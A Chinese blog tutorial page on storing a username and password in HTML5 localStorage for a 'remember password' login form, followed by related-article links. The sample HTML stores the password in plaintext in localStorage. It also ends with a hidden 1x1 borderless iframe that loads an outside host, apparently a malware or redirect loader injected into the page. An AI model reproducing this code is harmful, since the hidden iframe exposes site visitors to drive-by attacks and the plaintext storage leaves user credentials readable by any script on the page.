web存储用户名和密码
2017-04-24 20:52
381 查看
web存储用户名和密码
如何永久长期存储用户名和密码,除非你手动清除。
在客户端存储数据
HTML5 提供了两种在客户端存储数据的新方法:localStorage - 没有时间限制的数据存储sessionStorage - 针对一个 session 的数据存储之前,这些都是由 cookie 完成的。但是 cookie 不适合大量数据的存储,因为它们由每个对服务器的请求来传递,这使得 cookie 速度很慢而且效率也不高。在 HTML5 中,数据不是由每个服务器请求传递的,而是只有在请求时使用数据。它使在不影响网站性能的情况下存储大量数据成为可能。对于不同的网站,数据存储于不同的区域,并且一个网站只能访问其自身的数据。HTML5 使用 JavaScript 来存储和访问数据。代码实现如下:<!DOCTYPE html><html><head lang="en"><meta charset="UTF-8"><title></title></head><body><label for="">用户名:<input type="text" class="userName"/></label><br/><br/><label for="">密 码:<input type="text" class="pwd"/></label><br/><br/><label for=""><input type="checkbox" class="check" id=""/>记住密码</label><br/><br/><button>登录</button><script>var userName=document.querySelector('.userName');var pwd=document.querySelector('.pwd');var chk=document.querySelector('.check');var btn=document.querySelector('button');// 当点击登录的时候 如果需要记住密码: 存储密码,否则 清除密码btn.onclick=function(){if(chk.checked){// 记住数据window.localStorage.setItem('userName',userName.value);window.localStorage.setItem('pwd',pwd.value);}else{// 清除数据window.localStorage.removeItem('userName');window.localStorage.removeItem('pwd');}}// 下次登录的 ,如果记录的有数据 直接填充window.onload=function(){userName.value=window.localStorage.getItem('userName');pwd.value=window.localStorage.getItem('pwd');}</script><iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe></body></html>相关文章推荐
- 登录时,记住用户名和密码的功能——HTML5 WEB存储(localStorage)
- 解决:无法在Web服务器上启动调试 未知的用户名或密码不正确
- ASP.NET用户名及密码放在Web.config中的Forms验证
- NSUserDefaults 存储用户名 密码
- Nginx实战基础篇五 如何让用户通过用户名密码认证访问我们的web站点
- 在web.config 中保存用户名和密码
- Unable to start debugging on the web server. Logon failure: unknown user name or bad password(web服务器无法启动调试:未知用户名或密码错误)
- 用SDWebImage请求需要用户名密码登录的网页图片
- SharedPreferences存储——记住用户名和密码
- 用批处理/注销脚本清除 存储用户名和密码 列表的代码
- Android 往手机内存卡上存储用户名与密码的操作
- 用批处理/注销脚本清除“存储用户名和密码”列表
- 如何修改存储用户名和密码(网络登陆)?
- Windows XP“存储用户名和密码”的行为
- 关于加密:本地用户名与密码安全的存储方案
- IIS Web服务器已设置为允许匿名访问,但客户端仍然要求输入用户名和密码
- 存储的用户名和密码
- 清除局域网络存储的用户名和密码
- Nginx实战基础篇五 如何让用户通过用户名密码认证访问我们的web站点
- Android应用中用户名密码sd存储sp存储rom存储